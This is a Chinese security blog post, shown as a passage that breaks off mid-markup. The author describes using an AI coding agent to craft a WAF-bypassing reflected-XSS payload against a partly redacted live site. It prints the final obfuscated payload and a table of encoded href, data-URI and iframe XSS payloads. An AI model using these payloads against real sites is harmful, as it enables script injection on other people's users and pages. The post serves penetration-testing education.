      <link>https://mp.weixin.qq.com/s?__biz=MzI5MDQ2NjExOQ==&amp;mid=2247500637&amp;idx=1&amp;sn=7904dfb75f0b987d0c9fc7fd65913782</link>
      <description></description>
      <content:encoded><![CDATA[<p>原创 <span>xazlsec</span> <span>2026-07-28 10:26</span> <span style="display: inline-block;">山西</span></p>






  
  <p><img src="https://wechat2rss.xlab.app/img-proxy/?k=5ac09197&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FVnwOz8XYCTZWicb6FtCtZ2MGFJHLubkPZkHhDXgTrLFTotalHWGThlBaMY1ZhDUTGs4ajZ9os9KxSrEBWDLDdhx4meCwW2jOOgfOwzhUgvAw%2F0%3Fwx_fmt%3Djpeg"/></p>
  
  <blockquote style="box-sizing: border-box;margin: 0.8em 0px;border-left: 4px solid rgb(223, 226, 229);padding: 0px 15px;color: rgb(119, 119, 119);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, &#34;SF Pro&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><p style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0px;white-space: pre-wrap;width: inherit;"><span style="box-sizing: border-box;"><span leaf="">信安之路官网：</span></span><span leaf="">www.xazlsec.com</span><span style="box-sizing: border-box;"><span leaf="">，服务包括：自学成长平台、体系化学安全知识库、SRC 资产监控、历史漏洞POC</span></span></p></blockquote><p style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;width: inherit;color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, &#34;SF Pro&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span style="box-sizing: border-box;"><span leaf="">在实战中测试发现一个疑似存在 XSS 漏洞的参数接口，可控参数位置如图：</span></span></p><p style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;width: inherit;color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, &#34;SF Pro&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span style="box-sizing: border-box;"><span leaf=""><img class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100016982" data-ratio="0.40492957746478875" data-s="300,640" data-type="png" data-w="852" type="block" style="height: auto !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=4bde3ac5&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FVnwOz8XYCTY4UWCpaGQeHQBeHG5dpggCB2kFuuM4ibZPaggCib02w36FaH66RaR7ib4X7e4P4gb0eCib6AB5YCEJBicyr4UY7b0xe5QHXYmKxIIs%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></span></p><p style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;width: inherit;color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, &#34;SF Pro&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span style="box-sizing: border-box;"><span leaf="">双引号未转义和编码，当插入明显的弹窗 payload 时，发现被 WAF 拦截后，请求重置了，如图：</span></span></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100016983" data-ratio="0.5640243902439024" data-s="300,640" data-type="png" data-w="984" type="block" style="height: auto !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=adcba7c6&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FVnwOz8XYCTZicPUvj8OjCOkhPa7bZ1CAfPgdITs3LVVRoibhMjK39ZSNQgkyx2tXfdnQPFNaQfKMxYw6lEblrU1My8gS9kvkWsOngtvvBicxIU%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;width: inherit;color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, &#34;SF Pro&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span style="box-sizing: border-box;"><span leaf="">如果想利用该漏洞实现弹窗验证，该如何组合 payload？这是一个复杂的问题，在没有 AI 之前，需要超强的技术储备以及大量测试才可实现，既然有了 AI，那就让它来吧，工具使用 Trae IDE，配置好自己的 DeepSeek API key，然后安装好 Chrome DevTools MCP 服务，然后就可以开始测试了。最终组合出的 Payload：</span></span></p><div><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang="apache"><code><span leaf=""><span class="code-snippet__attribute">word</span>=%<span class="code-snippet__number">22</span>%<span class="code-snippet__number">3</span>Bvar%<span class="code-snippet__number">20</span>g%<span class="code-snippet__number">3</span>Ddocument.defaultView%<span class="code-snippet__number">3</span>Bg%<span class="code-snippet__number">5</span>B(<span class="code-snippet__number">10</span>).toString(<span class="code-snippet__number">36</span>)%<span class="code-snippet__number">2</span>B(<span class="code-snippet__number">21</span>).toString(<span class="code-snippet__number">36</span>)%<span class="code-snippet__number">2</span>B(<span class="code-snippet__number">14</span>).toString(<span class="code-snippet__number">36</span>)%<span class="code-snippet__number">2</span>B(<span class="code-snippet__number">27</span>).toString(<span class="code-snippet__number">36</span>)%<span class="code-snippet__number">2</span>B(<span class="code-snippet__number">29</span>).toString(<span class="code-snippet__number">36</span>)%<span class="code-snippet__number">5</span>D(<span class="code-snippet__number">1</span>)%<span class="code-snippet__number">2</span>F%<span class="code-snippet__number">2</span>F</span></code></pre></p></div><p style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;width: inherit;color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, &#34;SF Pro&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span style="box-sizing: border-box;"><span leaf="">实战效果如图：</span></span></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-ratio="0.38425925925925924" data-s="300,640" data-type="png" data-w="1080" type="block" data-imgfileid="100016984" data-aistatus="1" style="height: auto !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=d3b7a3f3&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FVnwOz8XYCTaylAmHQOKwMsCS4GlryrWicuIRRA4at49iaYLfJ1uic7M9TuQPqt96bt4XpwG5m478m5NsKxicxoMCc4LjZVQArvqPzRC8WQgKLhY%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;width: inherit;color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, &#34;SF Pro&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span style="box-sizing: border-box;"><span leaf="">全部测试完成，只消耗了 3 毛钱，性价比超高：</span></span></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-ratio="0.5882352941176471" data-s="300,640" data-type="png" data-w="357" type="block" data-imgfileid="100016985" data-aistatus="1" style="height: auto !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=16f51e29&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FVnwOz8XYCTajKwvibwADYPFTG2oVFh0ZSLpJG5Yr1G6d5RibD0wg8ibDyH2OEGs5jLQv3LlvVAyRqNbs5ynrvjTeSLFREicr0jnkUUiboyKpd5Ak%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;width: inherit;color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, &#34;SF Pro&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span style="box-sizing: border-box;"><span leaf="">对我而言，整个测试过程非常有价值，当然我认为对你来说也是很想知道它是如何一步一步测试的，于是我让他将整个测试过程进行了总结，形成文档供大家参考。XSS WAF 绕过分析与测试报告如下：</span></span></p><h4 style="box-sizing: border-box;white-space: pre-wrap;break-after: avoid-page;break-inside: avoid;orphans: 4;font-size: 1.25em;margin-top: 1rem;margin-bottom: 1rem;font-weight: bold;line-height: 1.4;cursor: text;width: inherit;color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, &#34;SF Pro&#34;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span style="box-sizing: border-box;"><span leaf="">1. 目标概述</span></span></h4><ul style="box-sizing: border-box;margin: 0.8em 0px;padding-left: 40px;color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, &#34;SF Pro&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" class="list-paddingleft-1"><li style="box-sizing: border-box;margin: 0px;white-space: pre-wrap;"><p style="box-sizing: border-box;line-height: inherit;orphans: 1;margin: 0px 0px 0.5rem;white-space: pre-wrap;width: inherit;"><strong style="box-sizing: border-box;"><span style="box-sizing: border-box;"><span leaf="">目标地址</span></span></strong><span style="box-sizing: border-box;"><span leaf="">: </span></span><code style="box-sizing: border-box;font-family: &#34;Lucida Console&#34;, Consolas, Courier, monospace;text-align: left;vertical-align: initial;border: 1px solid rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding: 0px 2px;font-size: 0.9em;"><span leaf=""><a href="http://xxxxx.jsp?word=asddsdd" target="_blank">http://xxxxx.jsp?word=asddsdd</a></span></code></p></li><li style="box-sizing: border-box;margin: 0px;white-space: pre-wrap;"><p style="box-sizing: border-box;line-height: inherit;orphans: 1;margin: 0px 0px 0.5rem;white-space: pre-wrap;width: inherit;"><strong style="box-sizing: border-box;"><span style="box-sizing: border-box;"><span leaf="">漏洞参数</span></span></strong><span style="box-sizing: border-box;"><span leaf="">: </span></span><code style="box-sizing: border-box;font-family: &#34;Lucida Console&#34;, Consolas, Courier, monospace;text-align: left;vertical-align: initial;border: 1px solid rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding: 0px 2px;font-size: 0.9em;"><span leaf="">word</span></code></p></li><li style="box-sizing: border-box;margin: 0px;white-space: pre-wrap;"><p style="box-sizing: border-box;line-height: inherit;orphans: 1;margin: 0px 0px 0.5rem;white-space: pre-wrap;width: inherit;"><strong style="box-sizing: border-box;"><span style="box-sizing: border-box;"><span leaf="">漏洞类型</span></span></strong><span style="box-sizing: border-box;"><span leaf="">: Reflected XSS（参数内容回显在页面中）</span></span></p></li><li style="box-sizing: border-box;margin: 0px;white-space: pre-wrap;"><p style="box-sizing: border-box;line-height: inherit;orphans: 1;margin: 0px 0px 0.5rem;white-space: pre-wrap;width: inherit;"><strong style="box-sizing: border-box;"><span style="box-sizing: border-box;"><span leaf="">测试目标</span></span></strong><span style="box-sizing: border-box;"><span leaf="">: 找到能绕过 WAF 并执行弹窗（</span></span><code style="box-sizing: border-box;font-family: &#34;Lucida Console&#34;, Consolas, Courier, monospace;text-align: left;vertical-align: initial;border: 1px solid rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding: 0px 2px;font-size: 0.9em;"><span leaf="">alert/confirm/prompt</span></code><span style="box-sizing: border-box;"><span leaf="">）的 payload</span></span></p></li></ul><h5 style="box-sizing: border-box;white-space: pre-wrap;break-after: avoid-page;break-inside: avoid;orphans: 4;font-size: 1em;margin-top: 1rem;margin-bottom: 1rem;font-weight: bold;line-height: 1.4;cursor: text;width: inherit;color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, &#34;SF Pro&#34;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span style="box-sizing: border-box;"><span leaf="">初始 Payload 素材</span></span></h5><p style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;width: inherit;color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, &#34;SF Pro&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span style="box-sizing: border-box;"><span leaf="">来自 </span></span><code style="box-sizing: border-box;font-family: &#34;Lucida Console&#34;, Consolas, Courier, monospace;text-align: left;vertical-align: initial;border: 1px solid rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding: 0px 2px;font-size: 0.9em;"><span leaf="">xss</span></code><span style="box-sizing: border-box;"><span leaf=""> 知识文件中的各类 href-based XSS payload，涵盖：</span></span></p><figure style="box-sizing: border-box;overflow-x: auto;margin: 1.2em 0px;padding: 0px;color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, &#34;SF Pro&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><table style="box-sizing: border-box;border-collapse: collapse;border-spacing: 0px;width: 1140px;overflow: auto;break-inside: auto;text-align: left;margin: 0px;padding: 0px;word-break: initial;"><thead><tr style="box-sizing: border-box;break-inside: avoid;break-after: auto;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 0px;"><th style="box-sizing: border-box;font-weight: bold;border-width: 1px 1px 0px;border-style: solid solid none;border-color: rgb(223, 226, 229) rgb(223, 226, 229) currentcolor;border-image: none;margin: 0px;padding: 6px 13px;"><span style="box-sizing: border-box;"><span leaf="">类型</span></span></th><th style="box-sizing: border-box;font-weight: bold;border-width: 1px 1px 0px;border-style: solid solid none;border-color: rgb(223, 226, 229) rgb(223, 226, 229) currentcolor;border-image: none;margin: 0px;padding: 6px 13px;"><span style="box-sizing: border-box;"><span leaf="">示例</span></span></th></tr></thead><tbody><tr style="box-sizing: border-box;break-inside: avoid;break-after: auto;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 0px;"><td style="box-sizing: border-box;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 6px 13px;"><span style="box-sizing: border-box;"><span leaf="">基本 javascript:</span></span></td><td style="box-sizing: border-box;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 6px 13px;"><code style="box-sizing: border-box;font-family: &#34;Lucida Console&#34;, Consolas, Courier, monospace;text-align: left;vertical-align: initial;border: 1px solid rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding: 0px 2px;font-size: 0.9em;"><span leaf="">&lt;a href=&#34;javascript:alert(&#39;test&#39;)&#34;&gt;link&lt;/a&gt;</span></code></td></tr><tr style="box-sizing: border-box;break-inside: avoid;break-after: auto;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 0px;background-color: rgb(248, 248, 248);"><td style="box-sizing: border-box;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 6px 13px;"><span style="box-sizing: border-box;"><span leaf="">HTML 实体编码</span></span></td><td style="box-sizing: border-box;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 6px 13px;"><code style="box-sizing: border-box;font-family: &#34;Lucida Console&#34;, Consolas, Courier, monospace;text-align: left;vertical-align: initial;border: 1px solid rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding: 0px 2px;font-size: 0.9em;"><span leaf="">&lt;a href=&#34;java&amp;<a class="wx_topic_link" topic-id="ms40r3gt-hk6hh3" style="color: #576B95 !important;" data-topic="1" data-recommend="">#115</a>;cript:alert(&#39;xss&#39;)&#34;&gt;link&lt;/a&gt;</span></code></td></tr><tr style="box-sizing: border-box;break-inside: avoid;break-after: auto;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 0px;"><td style="box-sizing: border-box;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 6px 13px;"><span style="box-sizing: border-box;"><span leaf="">VBScript</span></span></td><td style="box-sizing: border-box;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 6px 13px;"><code style="box-sizing: border-box;font-family: &#34;Lucida Console&#34;, Consolas, Courier, monospace;text-align: left;vertical-align: initial;border: 1px solid rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding: 0px 2px;font-size: 0.9em;"><span leaf="">&lt;a href=&#39;vbscript:MsgBox(&#34;XSS&#34;)&#39;&gt;link&lt;/a&gt;</span></code></td></tr><tr style="box-sizing: border-box;break-inside: avoid;break-after: auto;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 0px;background-color: rgb(248, 248, 248);"><td style="box-sizing: border-box;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 6px 13px;"><span style="box-sizing: border-box;"><span leaf="">反引号语法</span></span></td><td style="box-sizing: border-box;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 6px 13px;"><code style="box-sizing: border-box;font-family: &#34;Lucida Console&#34;, Consolas, Courier, monospace;text-align: left;vertical-align: initial;border: 1px solid rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding: 0px 2px;font-size: 0.9em;"><span leaf="">&lt;a href=&#34;javascript:confirm</span></code><span style="box-sizing: border-box;"><span leaf="">1</span></span><code style="box-sizing: border-box;font-family: &#34;Lucida Console&#34;, Consolas, Courier, monospace;text-align: left;vertical-align: initial;border: 1px solid rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding: 0px 2px;font-size: 0.9em;"><span leaf="">&#34;&gt;link&lt;/a&gt;</span></code></td></tr><tr style="box-sizing: border-box;break-inside: avoid;break-after: auto;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 0px;"><td style="box-sizing: border-box;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 6px 13px;"><span style="box-sizing: border-box;"><span leaf="">十六进制转义</span></span></td><td style="box-sizing: border-box;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 6px 13px;"><code style="box-sizing: border-box;font-family: &#34;Lucida Console&#34;, Consolas, Courier, monospace;text-align: left;vertical-align: initial;border: 1px solid rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding: 0px 2px;font-size: 0.9em;"><span leaf="">&lt;a href=&#34;javascript:\u0061lert&amp;<a class="wx_topic_link" topic-id="ms40r3gt-vwljri" style="color: #576B95 !important;" data-topic="1" data-recommend="">#x28</a>;1&amp;<a class="wx_topic_link" topic-id="ms40r3gt-ejb8vc" style="color: #576B95 !important;" data-topic="1" data-recommend="">#x29</a>&#34;&gt;Hello&lt;/a&gt;</span></code></td></tr><tr style="box-sizing: border-box;break-inside: avoid;break-after: auto;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 0px;background-color: rgb(248, 248, 248);"><td style="box-sizing: border-box;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 6px 13px;"><span style="box-sizing: border-box;"><span leaf="">URL 编码</span></span></td><td style="box-sizing: border-box;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 6px 13px;"><code style="box-sizing: border-box;font-family: &#34;Lucida Console&#34;, Consolas, Courier, monospace;text-align: left;vertical-align: initial;border: 1px solid rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding: 0px 2px;font-size: 0.9em;"><span leaf="">&lt;a href=&#34;javascript:%61%6c%65%72%74%28%31%29&#34;&gt;link&lt;/a&gt;</span></code></td></tr><tr style="box-sizing: border-box;break-inside: avoid;break-after: auto;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 0px;"><td style="box-sizing: border-box;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 6px 13px;"><span style="box-sizing: border-box;"><span leaf="">Hex 转义</span></span></td><td style="box-sizing: border-box;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 6px 13px;"><code style="box-sizing: border-box;font-family: &#34;Lucida Console&#34;, Consolas, Courier, monospace;text-align: left;vertical-align: initial;border: 1px solid rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding: 0px 2px;font-size: 0.9em;"><span leaf="">&lt;a href=javascript:eval(&#34;\x61\x6c\x65\x72\x74\x28\x27\x78\x73\x73\x27\x29&#34;)&gt;2&lt;/a&gt;</span></code></td></tr><tr style="box-sizing: border-box;break-inside: avoid;break-after: auto;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 0px;background-color: rgb(248, 248, 248);"><td style="box-sizing: border-box;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 6px 13px;"><span style="box-sizing: border-box;"><span leaf="">Base64</span></span></td><td style="box-sizing: border-box;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 6px 13px;"><code style="box-sizing: border-box;font-family: &#34;Lucida Console&#34;, Consolas, Courier, monospace;text-align: left;vertical-align: initial;border: 1px solid rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding: 0px 2px;font-size: 0.9em;"><span leaf="">&lt;a href=&#34;data:text/html;base64,...&#34;&gt;test&lt;/a&gt;</span></code></td></tr><tr style="box-sizing: border-box;break-inside: avoid;break-after: auto;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 0px;"><td style="box-sizing: border-box;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 6px 13px;"><span style="box-sizing: border-box;"><span leaf="">混合编码</span></span></td><td style="box-sizing: border-box;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 6px 13px;"><code style="box-sizing: border-box;font-family: &#34;Lucida Console&#34;, Consolas, Courier, monospace;text-align: left;vertical-align: initial;border: 1px solid rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding: 0px 2px;font-size: 0.9em;"><span leaf="">&lt;iframe/src=&#34;data:text&amp;sol;html;&amp;Tab;base64&amp;NewLine;,PGJvZHkgb25sb2FkPWFsZXJ0KDEpPg==&#34;&gt;</span></code></td></tr></tbody></table></figure><hr style="box-sizing: content-box;height: 2px;padding: 0px;margin: 16px 0px;background-color: rgb(231, 231, 231);border: 0px;overflow: hidden;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, &#34;SF Pro&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"/><h4 style="box-sizing: border-box;white-space: pre-wrap;break-after: avoid-page;break-inside: avoid;orphans: 4;font-size: 1.25em;margin-top: 1rem;margin-bottom: 1rem;font-weight: bold;line-height: 1.4;cursor: text;width: inherit;color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, &#34;SF Pro&#34;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span style="box-sizing: border-box;"><span leaf="">2. 注入点分析</span></span></h4><h5 style="box-sizing: border-box;white-space: pre-wrap;break-after: avoid-page;break-inside: avoid;orphans: 4;font-size: 1em;margin-top: 1rem;margin-bottom: 1rem;font-weight: bold;line-height: 1.4;cursor: text;width: inherit;color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, &#34;SF Pro&#34;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span style="box-sizing: border-box;"><span leaf="">2.1 参数回显位置</span></span></h5><p style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;width: inherit;color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, &#34;SF Pro&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span style="box-sizing: border-box;"><span leaf="">访问 </span></span><code style="box-sizing: border-box;font-family: &#34;Lucida Console&#34;, Consolas, Courier, monospace;text-align: left;vertical-align: initial;border: 1px solid rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding: 0px 2px;font-size: 